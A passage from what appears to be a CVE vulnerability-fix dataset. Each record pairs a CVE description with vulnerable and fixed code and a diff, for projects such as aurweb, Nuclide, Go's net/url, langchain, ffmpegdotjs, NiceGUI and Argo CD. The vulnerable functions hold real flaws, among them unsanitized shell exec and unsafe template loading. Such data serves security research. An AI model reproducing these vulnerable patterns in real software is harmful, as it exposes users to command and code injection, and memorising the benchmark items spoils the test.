bool = Form(default=False),\n    ON: bool = Form(default=False),\n    captcha: str = Form(default=None),\n    captcha_salt: str = Form(...),\n):\n    context = await make_variable_context(request, \"Register\")\n    args = dict(await request.form())\n\n    context = make_account_form_context(context, request, None, args)\n    ok, errors = process_account_form(request, request.user, args)\n    if not ok:\n        # If the field values given do not meet the requirements,\n        # return HTTP 400 with an error.\n        context[\"errors\"] = errors\n        return render_template(\n            request, \"register.html\", context, status_code=HTTPStatus.BAD_REQUEST\n        )\n\n    if not captcha:\n        context[\"errors\"] = [\"The CAPTCHA is missing.\"]\n        return render_template(\n            request, \"register.html\", context, status_code=HTTPStatus.BAD_REQUEST\n        )\n\n    # Create a user with no password with a resetkey, then send\n    # an email off about it.\n    resetkey = generate_resetkey()\n\n    # By default, we grab the User account type to associate with.\n    atype = db.query(\n        models.AccountType, models.AccountType.AccountType == \"User\"\n    ).first()\n\n    # Create a user given all parameters available.\n    with db.begin():\n        user = db.create(\n            models.User,\n            Username=U,\n            Email=E,\n            HideEmail=H,\n            BackupEmail=BE,\n            RealName=R,\n            Homepage=HP,\n            IRCNick=I,\n            PGPKey=K,\n            LangPreference=L,\n            Timezone=TZ,\n            CommentNotify=CN,\n            UpdateNotify=UN,\n            OwnershipNotify=ON,\n            ResetKey=resetkey,\n            AccountType=atype,\n        )\n\n    # If a PK was given and either one does not exist or the given\n    # PK mismatches the existing user's SSHPubKey.PubKey.\n    if PK:\n        # Get the second element in the PK, which is the actual key.\n        pubkey = PK.strip().rstrip()\n        parts = pubkey.split(\" \")\n        if len(parts) == 3:\n            # Remove the host part.\n            pubkey = parts[0] + \" \" + parts[1]\n        fingerprint = get_fingerprint(pubkey)\n        with db.begin():\n            user.ssh_pub_key = models.SSHPubKey(\n                UserID=user.ID, PubKey=pubkey, Fingerprint=fingerprint\n            )\n\n    # Send a reset key notification to the new user.\n    WelcomeNotification(user.ID).send()\n\n    context[\"complete\"] = True\n    context[\"user\"] = user\n    return render_template(request, \"register.html\", context)"}], "fix_func": [{"id": "fix_py_213_1", "commit": "d13e3f2", "file_path": "aurweb/routers/accounts.py", "start_line": 269, "end_line": 363, "snippet": "async def account_register_post(\n    request: Request,\n    U: str = Form(default=str()),  # Username\n    E: str = Form(default=str()),  # Email\n    H: str = Form(default=\"off\"),  # Hide Email\n    BE: str = Form(default=None),  # Backup Email\n    R: str = Form(default=\"\"),  # Real Name\n    HP: str = Form(default=None),  # Homepage\n    I: str = Form(default=None),  # IRC Nick # noqa: E741\n    K: str = Form(default=None),  # PGP Key\n    L: str = Form(default=aurweb.config.get(\"options\", \"default_lang\")),\n    TZ: str = Form(default=aurweb.config.get(\"options\", \"default_timezone\")),\n    PK: str = Form(default=None),  # SSH PubKey\n    CN: bool = Form(default=False),\n    UN: bool = Form(default=False),\n    ON: bool = Form(default=False),\n    captcha: str = Form(default=None),\n    captcha_salt: str = Form(...),\n):\n    context = await make_variable_context(request, \"Register\")\n    args = dict(await request.form())\n\n    context = make_account_form_context(context, request, None, args)\n    ok, errors = process_account_form(request, request.user, args)\n    if not ok:\n        # If the field values given do not meet the requirements,\n        # return HTTP 400 with an error.\n        context[\"errors\"] = errors\n        return render_template(\n            request, \"register.html\", context, status_code=HTTPStatus.BAD_REQUEST\n        )\n\n    if not captcha:\n        context[\"errors\"] = [\"The CAPTCHA is missing.\"]\n        return render_template(\n            request, \"register.html\", context, status_code=HTTPStatus.BAD_REQUEST\n        )\n\n    # Create a user with no password with a resetkey, then send\n    # an email off about it.\n    resetkey = generate_resetkey()\n\n    # By default, we grab the User account type to associate with.\n    atype = db.query(\n        models.AccountType, models.AccountType.AccountType == \"User\"\n    ).first()\n\n    # Check if we should turn on HideEmail.\n    if H == \"on\":\n        hide_email = 1\n    else:\n        hide_email = 0\n\n    # Create a user given all parameters available.\n    with db.begin():\n        user = db.create(\n            models.User,\n            Username=U,\n            Email=E,\n            HideEmail=hide_email,\n            BackupEmail=BE,\n            RealName=R,\n            Homepage=HP,\n            IRCNick=I,\n            PGPKey=K,\n            LangPreference=L,\n            Timezone=TZ,\n            CommentNotify=CN,\n            UpdateNotify=UN,\n            OwnershipNotify=ON,\n            ResetKey=resetkey,\n            AccountType=atype,\n        )\n\n    # If a PK was given and either one does not exist or the given\n    # PK mismatches the existing user's SSHPubKey.PubKey.\n    if PK:\n        # Get the second element in the PK, which is the actual key.\n        pubkey = PK.strip().rstrip()\n        parts = pubkey.split(\" \")\n        if len(parts) == 3:\n            # Remove the host part.\n            pubkey = parts[0] + \" \" + parts[1]\n        fingerprint = get_fingerprint(pubkey)\n        with db.begin():\n            user.ssh_pub_key = models.SSHPubKey(\n                UserID=user.ID, PubKey=pubkey, Fingerprint=fingerprint\n            )\n\n    # Send a reset key notification to the new user.\n    WelcomeNotification(user.ID).send()\n\n    context[\"complete\"] = True\n    context[\"user\"] = user\n    return render_template(request, \"register.html\", context)"}], "vul_patch": "--- a/aurweb/routers/accounts.py\n+++ b/aurweb/routers/accounts.py\n@@ -2,7 +2,7 @@\n     request: Request,\n     U: str = Form(default=str()),  # Username\n     E: str = Form(default=str()),  # Email\n-    H: str = Form(default=False),  # Hide Email\n+    H: str = Form(default=\"off\"),  # Hide Email\n     BE: str = Form(default=None),  # Backup Email\n     R: str = Form(default=\"\"),  # Real Name\n     HP: str = Form(default=None),  # Homepage\n@@ -45,13 +45,19 @@\n         models.AccountType, models.AccountType.AccountType == \"User\"\n     ).first()\n \n+    # Check if we should turn on HideEmail.\n+    if H == \"on\":\n+        hide_email = 1\n+    else:\n+        hide_email = 0\n+\n     # Create a user given all parameters available.\n     with db.begin():\n         user = db.create(\n             models.User,\n             Username=U,\n             Email=E,\n-            HideEmail=H,\n+            HideEmail=hide_email,\n             BackupEmail=BE,\n             RealName=R,\n             Homepage=HP,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-6333", "cve_description": "The hhvm-attach deep link handler in Nuclide did not properly sanitize the provided hostname parameter when rendering. As a result, a malicious URL could be used to render HTML and other content inside of the editor's context, which could potentially be chained to lead to code execution. This issue affected Nuclide prior to v0.290.0.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/facebook/nuclide", "patch_url": ["https://github.com/facebook/nuclide/commit/65f6bbd683404be1bb569b8d1be84b5d4c74a324"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_198_1", "commit": "ee8e058", "file_path": "pkg/nuclide-hhvm/lib/main.js", "start_line": 80, "end_line": 180, "snippet": "  async _debugDeepWithHhvm(params: DeepLinkParams): Promise<void> {\n    const {nuclidePath, hackRoot, line, addBreakpoint, source} = params;\n\n    if (\n      typeof nuclidePath !== 'string' ||\n      !nuclideUri.isRemote(nuclidePath) ||\n      typeof hackRoot !== 'string'\n    ) {\n      atom.notifications.addError('Invalid arguments.');\n      return;\n    }\n\n    const pathString = decodeURIComponent(String(nuclidePath));\n    const hackRootString = decodeURIComponent(String(hackRoot));\n\n    const startDebugger =\n      params.noDebugger == null || params.noDebugger !== 'true';\n\n    track('nuclide-attach-hhvm-deeplink', {\n      pathString,\n      line,\n      addBreakpoint,\n      source,\n    });\n\n    if (this._remoteProjectsService == null) {\n      atom.notifications.addError('The remote project service is unavailable.');\n      return;\n    } else {\n      const remoteProjectsService = this._remoteProjectsService;\n      await new Promise(resolve =>\n        remoteProjectsService.waitForRemoteProjectReload(resolve),\n      );\n    }\n\n    const host = nuclideUri.getHostname(pathString);\n    const cwd = nuclideUri.createRemoteUri(host, hackRootString);\n    const notification = atom.notifications.addInfo(\n      startDebugger\n        ? `Connecting to ${host} and attaching debugger...`\n        : `Connecting to ${host}...`,\n      {\n        dismissable: true,\n      },\n    );\n\n    invariant(this._remoteProjectsService != null);\n    const remoteConnection = await this._remoteProjectsService.createRemoteConnection(\n      {\n        host,\n        cwd: nuclideUri.getPath(cwd),\n        displayTitle: host,\n      },\n    );\n\n    if (remoteConnection == null) {\n      atom.notifications.addError(`Could not connect to ${host}`);\n      return;\n    }\n\n    // The hostname might have changed slightly from what was passed in due to\n    // DNS lookup, so create a new remote URI rather than using cwd from above.\n    const hackRootUri = remoteConnection.getUriOfRemotePath(hackRootString);\n    const navUri = remoteConnection.getUriOfRemotePath(\n      nuclideUri.getPath(pathString),\n    );\n\n    // Set the current project root.\n    if (this._cwdApi != null) {\n      this._cwdApi.setCwd(hackRootUri);\n    }\n\n    // Open the script path in the editor.\n    const lineNumber = parseInt(line, 10);\n    if (Number.isNaN(lineNumber)) {\n      goToLocation(navUri);\n    } else {\n      // NOTE: line numbers start at 0, so subtract 1.\n      goToLocation(navUri, {line: lineNumber - 1});\n    }\n\n    if (startDebugger) {\n      // Debug the remote HHVM server!\n      const debuggerService = await consumeFirstProvider(\n        'nuclide-debugger.remote',\n      );\n\n      if (addBreakpoint === 'true' && !Number.isNaN(lineNumber)) {\n        // Insert a breakpoint if requested.\n        // NOTE: Nuclide protocol breakpoint line numbers start at 0, so subtract 1.\n        debuggerService.addBreakpoint(navUri, lineNumber - 1);\n      }\n\n      await debuggerService.startDebugging(\n        await getAttachProcessInfo(hackRootUri),\n      );\n    }\n\n    notification.dismiss();\n  }\n}"}], "fix_func": [{"id": "fix_js_198_1", "commit": "65f6bbd", "file_path": "pkg/nuclide-hhvm/lib/main.js", "start_line": 80, "end_line": 191, "snippet": "  async _debugDeepWithHhvm(params: DeepLinkParams): Promise<void> {\n    const {nuclidePath, hackRoot, line, addBreakpoint, source} = params;\n\n    if (\n      typeof nuclidePath !== 'string' ||\n      !nuclideUri.isRemote(nuclidePath) ||\n      typeof hackRoot !== 'string'\n    ) {\n      atom.notifications.addError('Invalid arguments.');\n      return;\n    }\n\n    const pathString = decodeURIComponent(String(nuclidePath));\n    const hackRootString = decodeURIComponent(String(hackRoot));\n\n    const startDebugger =\n      params.noDebugger == null || params.noDebugger !== 'true';\n\n    track('nuclide-attach-hhvm-deeplink', {\n      pathString,\n      line,\n      addBreakpoint,\n      source,\n    });\n\n    if (this._remoteProjectsService == null) {\n      atom.notifications.addError('The remote project service is unavailable.');\n      return;\n    } else {\n      const remoteProjectsService = this._remoteProjectsService;\n      await new Promise(resolve =>\n        remoteProjectsService.waitForRemoteProjectReload(resolve),\n      );\n    }\n\n    const host = nuclideUri.getHostname(pathString);\n\n    // Allow only valid hostname characters, per RFC 952:\n    // https://tools.ietf.org/html/rfc952\n    const invalidMatch = host.match(/[^A-Za-z0-9\\-._]+/);\n    if (invalidMatch != null) {\n      atom.notifications.addError(\n        'The specified host name contained invalid characters.',\n      );\n      return;\n    }\n\n    const cwd = nuclideUri.createRemoteUri(host, hackRootString);\n    const notification = atom.notifications.addInfo(\n      startDebugger\n        ? `Connecting to ${host} and attaching debugger...`\n        : `Connecting to ${host}...`,\n      {\n        dismissable: true,\n      },\n    );\n\n    invariant(this._remoteProjectsService != null);\n    const remoteConnection = await this._remoteProjectsService.createRemoteConnection(\n      {\n        host,\n        cwd: nuclideUri.getPath(cwd),\n        displayTitle: host,\n      },\n    );\n\n    if (remoteConnection == null) {\n      atom.notifications.addError(`Could not connect to ${host}`);\n      return;\n    }\n\n    // The hostname might have changed slightly from what was passed in due to\n    // DNS lookup, so create a new remote URI rather than using cwd from above.\n    const hackRootUri = remoteConnection.getUriOfRemotePath(hackRootString);\n    const navUri = remoteConnection.getUriOfRemotePath(\n      nuclideUri.getPath(pathString),\n    );\n\n    // Set the current project root.\n    if (this._cwdApi != null) {\n      this._cwdApi.setCwd(hackRootUri);\n    }\n\n    // Open the script path in the editor.\n    const lineNumber = parseInt(line, 10);\n    if (Number.isNaN(lineNumber)) {\n      goToLocation(navUri);\n    } else {\n      // NOTE: line numbers start at 0, so subtract 1.\n      goToLocation(navUri, {line: lineNumber - 1});\n    }\n\n    if (startDebugger) {\n      // Debug the remote HHVM server!\n      const debuggerService = await consumeFirstProvider(\n        'nuclide-debugger.remote',\n      );\n\n      if (addBreakpoint === 'true' && !Number.isNaN(lineNumber)) {\n        // Insert a breakpoint if requested.\n        // NOTE: Nuclide protocol breakpoint line numbers start at 0, so subtract 1.\n        debuggerService.addBreakpoint(navUri, lineNumber - 1);\n      }\n\n      await debuggerService.startDebugging(\n        await getAttachProcessInfo(hackRootUri),\n      );\n    }\n\n    notification.dismiss();\n  }\n}"}], "vul_patch": "--- a/pkg/nuclide-hhvm/lib/main.js\n+++ b/pkg/nuclide-hhvm/lib/main.js\n@@ -34,6 +34,17 @@\n     }\n \n     const host = nuclideUri.getHostname(pathString);\n+\n+    // Allow only valid hostname characters, per RFC 952:\n+    // https://tools.ietf.org/html/rfc952\n+    const invalidMatch = host.match(/[^A-Za-z0-9\\-._]+/);\n+    if (invalidMatch != null) {\n+      atom.notifications.addError(\n+        'The specified host name contained invalid characters.',\n+      );\n+      return;\n+    }\n+\n     const cwd = nuclideUri.createRemoteUri(host, hackRootString);\n     const notification = atom.notifications.addInfo(\n       startDebugger\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-32190", "cve_description": "JoinPath and URL.JoinPath do not remove ../ path elements appended to a relative path. For example, JoinPath(\"https://go.dev\", \"../go\") returns the URL \"https://go.dev/../go\", despite the JoinPath documentation stating that ../ path elements are removed from the result.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/golang/go", "patch_url": ["https://github.com/golang/go/commit/28335508913a46e05ef0c04a18e8a1a6beb775ec"], "programing_language": "Go", "vul_func": [{"id": "vul_go_90_1", "commit": "d2bcb22", "file_path": "src/net/url/url.go", "start_line": "1193", "end_line": "1206", "snippet": "func (u *URL) JoinPath(elem ...string) *URL {\n\turl := *u\n\tif len(elem) > 0 {\n\t\telem = append([]string{u.EscapedPath()}, elem...)\n\t\tp := path.Join(elem...)\n\t\t// path.Join will remove any trailing slashes.\n\t\t// Preserve at least one.\n\t\tif strings.HasSuffix(elem[len(elem)-1], \"/\") && !strings.HasSuffix(p, \"/\") {\n\t\t\tp += \"/\"\n\t\t}\n\t\turl.setPath(p)\n\t}\n\treturn &url\n}"}], "fix_func": [{"id": "fix_go_90_1", "commit": "2833550", "file_path": "src/net/url/url.go", "start_line": "1193", "end_line": "1212", "snippet": "func (u *URL) JoinPath(elem ...string) *URL {\n\telem = append([]string{u.EscapedPath()}, elem...)\n\tvar p string\n\tif !strings.HasPrefix(elem[0], \"/\") {\n\t\t// Return a relative path if u is relative,\n\t\t// but ensure that it contains no ../ elements.\n\t\telem[0] = \"/\" + elem[0]\n\t\tp = path.Join(elem...)[1:]\n\t} else {\n\t\tp = path.Join(elem...)\n\t}\n\t// path.Join will remove any trailing slashes.\n\t// Preserve at least one.\n\tif strings.HasSuffix(elem[len(elem)-1], \"/\") && !strings.HasSuffix(p, \"/\") {\n\t\tp += \"/\"\n\t}\n\turl := *u\n\turl.setPath(p)\n\treturn &url\n}"}], "vul_patch": "--- a/src/net/url/url.go\n+++ b/src/net/url/url.go\n@@ -1,14 +1,20 @@\n func (u *URL) JoinPath(elem ...string) *URL {\n+\telem = append([]string{u.EscapedPath()}, elem...)\n+\tvar p string\n+\tif !strings.HasPrefix(elem[0], \"/\") {\n+\t\t// Return a relative path if u is relative,\n+\t\t// but ensure that it contains no ../ elements.\n+\t\telem[0] = \"/\" + elem[0]\n+\t\tp = path.Join(elem...)[1:]\n+\t} else {\n+\t\tp = path.Join(elem...)\n+\t}\n+\t// path.Join will remove any trailing slashes.\n+\t// Preserve at least one.\n+\tif strings.HasSuffix(elem[len(elem)-1], \"/\") && !strings.HasSuffix(p, \"/\") {\n+\t\tp += \"/\"\n+\t}\n \turl := *u\n-\tif len(elem) > 0 {\n-\t\telem = append([]string{u.EscapedPath()}, elem...)\n-\t\tp := path.Join(elem...)\n-\t\t// path.Join will remove any trailing slashes.\n-\t\t// Preserve at least one.\n-\t\tif strings.HasSuffix(elem[len(elem)-1], \"/\") && !strings.HasSuffix(p, \"/\") {\n-\t\t\tp += \"/\"\n-\t\t}\n-\t\turl.setPath(p)\n-\t}\n+\turl.setPath(p)\n \treturn &url\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0144", "cve_description": "shelljs is vulnerable to Improper Privilege Management", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/shelljs/shelljs", "patch_url": ["https://github.com/shelljs/shelljs/commit/d919d22dd6de385edaa9d90313075a77f74b338c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_258_1", "commit": "fcf1651", "file_path": "src/exec.js", "start_line": 51, "end_line": 51, "snippet": "  fs.writeFileSync(paramsFile, JSON.stringify(paramsToSerialize), 'utf8');"}], "fix_func": [{"id": "fix_js_258_1", "commit": "d919d22dd6de385edaa9d90313075a77f74b338c", "file_path": "src/exec.js", "start_line": 60, "end_line": 65, "snippet": "  function writeFileLockedDown(filePath, data) {\n    fs.writeFileSync(filePath, data, {\n      encoding: 'utf8',\n      mode: parseInt('600', 8),\n    });\n  }"}, {"id": "fix_js_258_2", "commit": "d919d22dd6de385edaa9d90313075a77f74b338c", "file_path": "src/exec.js", "start_line": 66, "end_line": 68, "snippet": "  writeFileLockedDown(stdoutFile, '');\n  writeFileLockedDown(stderrFile, '');\n  writeFileLockedDown(paramsFile, JSON.stringify(paramsToSerialize));"}], "vul_patch": "--- a/src/exec.js\n+++ b/src/exec.js\n@@ -1 +1,6 @@\n-  fs.writeFileSync(paramsFile, JSON.stringify(paramsToSerialize), 'utf8');\n+  function writeFileLockedDown(filePath, data) {\n+    fs.writeFileSync(filePath, data, {\n+      encoding: 'utf8',\n+      mode: parseInt('600', 8),\n+    });\n+  }\n\n--- /dev/null\n+++ b/src/exec.js\n@@ -0,0 +1,3 @@\n+  writeFileLockedDown(stdoutFile, '');\n+  writeFileLockedDown(stderrFile, '');\n+  writeFileLockedDown(paramsFile, JSON.stringify(paramsToSerialize));\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-21618", "cve_description": "NiceGUI is an easy-to-use, Python-based UI framework. Prior to 2.9.1, authenticating with NiceGUI logged in the user for all browsers, including browsers in incognito mode. This vulnerability is fixed in 2.9.1.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/zauberzeug/nicegui", "patch_url": ["https://github.com/zauberzeug/nicegui/commit/1621a4ba6a06676b8094362d36623551e651adc1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_358_1", "commit": "c063791b21a51dc966da654bd9545e9c5506fa8f", "file_path": "nicegui/air.py", "start_line": 50, "end_line": 77, "snippet": "        async def _handle_http(data: Dict[str, Any]) -> Dict[str, Any]:\n            headers: Dict[str, Any] = data['headers']\n            headers.update({'Accept-Encoding': 'identity', 'X-Forwarded-Prefix': data['prefix']})\n            url = 'http://test' + data['path']\n            request = self.client.build_request(\n                data['method'],\n                url,\n                params=data['params'],\n                headers=headers,\n                content=data['body'],\n            )\n            response = await self.client.send(request)\n            instance_id = data['instance-id']\n            content = response.content.replace(\n                b'const extraHeaders = {};',\n                (f'const extraHeaders = {{ \"fly-force-instance-id\" : \"{instance_id}\" }};').encode(),\n            )\n            match = re.search(b'const query = ({.*?})', content)\n            if match:\n                new_js_object = match.group(1).decode().rstrip('}') + \", 'fly_instance_id' : '\" + instance_id + \"'}\"\n                content = content.replace(match.group(0), f'const query = {new_js_object}'.encode())\n            compressed = gzip.compress(content)\n            response.headers.update({'content-encoding': 'gzip', 'content-length': str(len(compressed))})\n            return {\n                'status_code': response.status_code,\n                'headers': response.headers.multi_items(),\n                'content': compressed,\n            }"}], "fix_func": [{"id": "fix_py_358_1", "commit": "1621a4ba6a06676b8094362d36623551e651adc1", "file_path": "nicegui/air.py", "start_line": 50, "end_line": 78, "snippet": "        async def _handle_http(data: Dict[str, Any]) -> Dict[str, Any]:\n            headers: Dict[str, Any] = data['headers']\n            headers.update({'Accept-Encoding': 'identity', 'X-Forwarded-Prefix': data['prefix']})\n            url = 'http://test' + data['path']\n            request = self.client.build_request(\n                data['method'],\n                url,\n                params=data['params'],\n                headers=headers,\n                content=data['body'],\n            )\n            response = await self.client.send(request)\n            self.client.cookies.clear()\n            instance_id = data['instance-id']\n            content = response.content.replace(\n                b'const extraHeaders = {};',\n                (f'const extraHeaders = {{ \"fly-force-instance-id\" : \"{instance_id}\" }};').encode(),\n            )\n            match = re.search(b'const query = ({.*?})', content)\n            if match:\n                new_js_object = match.group(1).decode().rstrip('}') + \", 'fly_instance_id' : '\" + instance_id + \"'}\"\n                content = content.replace(match.group(0), f'const query = {new_js_object}'.encode())\n            compressed = gzip.compress(content)\n            response.headers.update({'content-encoding': 'gzip', 'content-length': str(len(compressed))})\n            return {\n                'status_code': response.status_code,\n                'headers': response.headers.multi_items(),\n                'content': compressed,\n            }"}], "vul_patch": "--- a/nicegui/air.py\n+++ b/nicegui/air.py\n@@ -10,6 +10,7 @@\n                 content=data['body'],\n             )\n             response = await self.client.send(request)\n+            self.client.cookies.clear()\n             instance_id = data['instance-id']\n             content = response.content.replace(\n                 b'const extraHeaders = {};',\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-36281", "cve_description": "An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via a JSON file to load_prompt. This is related to __subclasses__ or a template.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/langchain-ai/langchain", "patch_url": ["https://github.com/langchain-ai/langchain/commit/22abeb9f6cc555591bf8e92b5e328e43aa07ff6c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_303_1", "commit": "b642d00", "file_path": "libs/langchain/langchain/prompts/loading.py", "start_line": 111, "end_line": 116, "snippet": "def _load_prompt(config: dict) -> PromptTemplate:\n    \"\"\"Load the prompt template from config.\"\"\"\n    # Load the template from disk if necessary.\n    config = _load_template(\"template\", config)\n    config = _load_output_parser(config)\n    return PromptTemplate(**config)"}], "fix_func": [{"id": "fix_py_303_1", "commit": "22abeb9f6cc555591bf8e92b5e328e43aa07ff6c", "file_path": "libs/langchain/langchain/prompts/loading.py", "start_line": 111, "end_line": 127, "snippet": "def _load_prompt(config: dict) -> PromptTemplate:\n    \"\"\"Load the prompt template from config.\"\"\"\n    # Load the template from disk if necessary.\n    config = _load_template(\"template\", config)\n    config = _load_output_parser(config)\n\n    template_format = config.get(\"template_format\", \"f-string\")\n    if template_format == \"jinja2\":\n        # Disabled due to:\n        # https://github.com/langchain-ai/langchain/issues/4394\n        raise ValueError(\n            f\"Loading templates with '{template_format}' format is no longer supported \"\n            f\"since it can lead to arbitrary code execution. Please migrate to using \"\n            f\"the 'f-string' template format, which does not suffer from this issue.\"\n        )\n\n    return PromptTemplate(**config)"}], "vul_patch": "--- a/libs/langchain/langchain/prompts/loading.py\n+++ b/libs/langchain/langchain/prompts/loading.py\n@@ -3,4 +3,15 @@\n     # Load the template from disk if necessary.\n     config = _load_template(\"template\", config)\n     config = _load_output_parser(config)\n+\n+    template_format = config.get(\"template_format\", \"f-string\")\n+    if template_format == \"jinja2\":\n+        # Disabled due to:\n+        # https://github.com/langchain-ai/langchain/issues/4394\n+        raise ValueError(\n+            f\"Loading templates with '{template_format}' format is no longer supported \"\n+            f\"since it can lead to arbitrary code execution. Please migrate to using \"\n+            f\"the 'f-string' template format, which does not suffer from this issue.\"\n+        )\n+\n     return PromptTemplate(**config)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23376", "cve_description": "This affects all versions of package ffmpegdotjs. If attacker-controlled user input is given to the trimvideo function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/TRomesh/ffmpegdotjs", "patch_url": ["https://github.com/TRomesh/ffmpegdotjs/commit/dae868764d6418dac081ed1aa84c636645ba6adb"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_21_1", "commit": "b7395da", "file_path": "index.js", "start_line": 216, "end_line": 233, "snippet": "  trimvideo: (input, start, duration, output) => {\n    return new Promise(function(resolve, reject) {\n      if (fs.existsSync(input)) {\n        exec(\n          `ffmpeg -hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`,\n          (error, stdout, stderr) => {\n            if (error) {\n              reject(error);\n              return;\n            }\n            resolve(`${output}.mp4`);\n          }\n        );\n      } else {\n        reject(new Error(\"ffmpegdotjs could not find file\"));\n      }\n    });\n  },"}], "fix_func": [{"id": "fix_js_21_1", "commit": "dae868764d6418dac081ed1aa84c636645ba6adb", "file_path": "index.js", "start_line": 216, "end_line": 233, "snippet": "  trimvideo: (input, start, duration, output) => {\n    return new Promise(function(resolve, reject) {\n      if (fs.existsSync(input)) {\n        execFile(\n          'ffmpeg', `-hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`.split(\" \"),\n          (error, stdout, stderr) => {\n            if (error) {\n              reject(error);\n              return;\n            }\n            resolve(`${output}.mp4`);\n          }\n        );\n      } else {\n        reject(new Error(\"ffmpegdotjs could not find file\"));\n      }\n    });\n  },"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,8 +1,8 @@\n   trimvideo: (input, start, duration, output) => {\n     return new Promise(function(resolve, reject) {\n       if (fs.existsSync(input)) {\n-        exec(\n-          `ffmpeg -hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`,\n+        execFile(\n+          'ffmpeg', `-hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`.split(\" \"),\n           (error, stdout, stderr) => {\n             if (error) {\n               reject(error);\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23376:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ffmpegdotjs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2021-26921", "cve_description": "In util/session/sessionmanager.go in Argo CD before 1.8.4, tokens continue to work even when the user account is disabled.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/f5b0db240b4e3abf18e97f6fd99096b4f9e94dc5"], "programing_language": "Go", "vul_func": [{"id": "vul_go_66_1", "commit": "ce43b7a", "file_path": "util/session/sessionmanager.go", "start_line": 239, "end_line": 294, "snippet": "func (mgr *SessionManager) Parse(tokenString string) (jwt.Claims, error) {\n\t// Parse takes the token string and a function for looking up the key. The latter is especially\n\t// useful if you use multiple keys for your application.  The standard is to use 'kid' in the\n\t// head of the token to identify which key to use, but the parsed token (head and claims) is provided\n\t// to the callback, providing flexibility.\n\tvar claims jwt.MapClaims\n\tsettings, err := mgr.settingsMgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttoken, err := jwt.ParseWithClaims(tokenString, &claims, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t}\n\t\treturn settings.ServerSignature, nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tissuedAt, err := jwtutil.IssuedAtTime(claims)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsubject := jwtutil.StringField(claims, \"sub\")\n\tid := jwtutil.StringField(claims, \"jti\")\n\n\tif projName, role, ok := rbacpolicy.GetProjectRoleFromSubject(subject); ok {\n\t\tproj, err := mgr.projectsLister.Get(projName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, _, err = proj.GetJWTToken(role, issuedAt.Unix(), id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn token.Claims, 